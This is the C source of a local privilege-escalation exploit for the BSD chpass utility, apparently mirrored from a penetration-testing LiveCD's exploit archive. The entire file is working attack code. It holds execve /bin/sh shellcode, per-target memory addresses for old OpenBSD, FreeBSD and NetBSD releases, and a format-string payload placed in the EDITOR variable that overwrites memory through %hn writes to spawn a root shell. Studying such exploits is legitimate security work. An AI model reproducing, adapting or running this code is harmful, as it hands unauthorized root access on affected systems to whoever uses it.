home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / bsdchpass-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  117 lines
  1. /*
  2.  * TESO BSD chpass exploit - caddis <caddis@dissension.net>
  3.  *
  4.  * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
  5.  *
  6.  */
  7. #include <stdio.h>
  8.  
  9. char bsd_shellcode[] =
  10. "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
  11. "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
  12. "\x50\x51\x56\x50\xb0\x3b\xcd\x80"
  13. "\xe8\xe5\xff\xff\xff/bin/sh";
  14.  
  15. char ptmp_shellcode[] =
  16. "\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
  17. "\x89\x76\x12\x89\x5e\x16\x8d\x4e"
  18. "\x12\x8d\x56\x08\x31\xc0\x52\x53"
  19. "\xb0\x0a\xcd\x80\x53\x51\x56\x53"
  20. "\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
  21. "\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";
  22.  
  23. struct platform {
  24.     char *name;
  25.     unsigned short count;
  26.     unsigned long dest_addr;
  27.     unsigned long shell_addr;
  28.     char *shellcode;
  29. };
  30.  
  31. struct platform targets[9] =
  32. {
  33.     { "OpenBSD 2.7 i386       ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
  34.     { "OpenBSD 2.6 i386       ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
  35.     { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
  36.     { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
  37.     { "FreeBSD 4.0-RELEASE    ", 167,  0x805023c, 0xbfbffc68, bsd_shellcode  },
  38.     { "FreeBSD 3.5-RELEASE    ", 135,  0x804fa58, 0xbfbfdcac, bsd_shellcode  },
  39.     { "FreeBSD 3.4-RELEASE    ", 131,  0x804f988, 0xbfbfdcd0, bsd_shellcode  },
  40.     { "NetBSD 1.4.2           ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode  },
  41.     { NULL, 0, 0, 0, NULL }
  42. };
  43.  
  44. char jmpcode[129];
  45. char fmt_string[1000];
  46.  
  47. char *args[] = { "chpass", NULL };
  48. char *envs[] = { jmpcode, fmt_string, NULL };
  49.  
  50. void usage(char *name)
  51. {
  52.     printf("%s <TARGET>\n"
  53.            "1 - OpenBSD 2.7 i386\n"
  54.            "2 - OpenBSD 2.6 i386\n"
  55.            "3 - OpenBSD 2.5 1999/08/06\n"
  56.            "4 - OpenBSD 2.5 1998/05/28\n"
  57.            "5 - FreeBSD 4.0-RELEASE\n"
  58.            "6 - FreeBSD 3.5-RELEASE\n"
  59.            "7 - FreeBSD 3.4-RELEASE\n"
  60.            "8 - NetBSD 1.4.2\n", name);
  61.     exit(1);
  62. }
  63.  
  64. int main(int argc, char *argv[])
  65. {
  66.     char *p;
  67.     int x, len = 0;
  68.     struct platform *target;
  69.     unsigned short low, high;
  70.     unsigned long shell_addr[2], dest_addr[2];
  71.  
  72.     if (argc != 2)
  73.         usage(argv[0]);
  74.  
  75.     x = atoi(argv[1]) - 1;
  76.     if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0)
  77.         usage(argv[0]);
  78.  
  79.     target = &targets[x];
  80.  
  81.     memset(jmpcode, 0x90, sizeof(jmpcode));
  82.     strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);
  83.  
  84.     strcat(fmt_string, "EDITOR=");
  85.     for (x = 0; x < target->count; x++) {
  86.         strcat(fmt_string, "%8x");
  87.         len += 8;
  88.     }
  89.  
  90.     shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
  91.     shell_addr[1] =  target->shell_addr & 0xffff;
  92.  
  93.     if (shell_addr[1] > shell_addr[0]) {
  94.         dest_addr[0] = target->dest_addr+2;
  95.         dest_addr[1] = target->dest_addr;
  96.         low  = shell_addr[0] - len;
  97.         high = shell_addr[1] - low - len;
  98.     } else {
  99.         dest_addr[0] = target->dest_addr;
  100.         dest_addr[1] = target->dest_addr+2;
  101.         low  = shell_addr[1] - len;
  102.         high = shell_addr[0] - low - len;
  103.     }
  104.  
  105.     *(long *)&jmpcode[1]  = 0x11111111;
  106.     *(long *)&jmpcode[5]  = dest_addr[0];
  107.     *(long *)&jmpcode[9]  = 0x11111111;
  108.     *(long *)&jmpcode[13] = dest_addr[1];
  109.  
  110.     p = fmt_string + strlen(fmt_string);
  111.     sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
  112.  
  113.     execve("/usr/bin/chpass", args, envs);
  114.     perror("execve");
  115. }
  116.  
  117.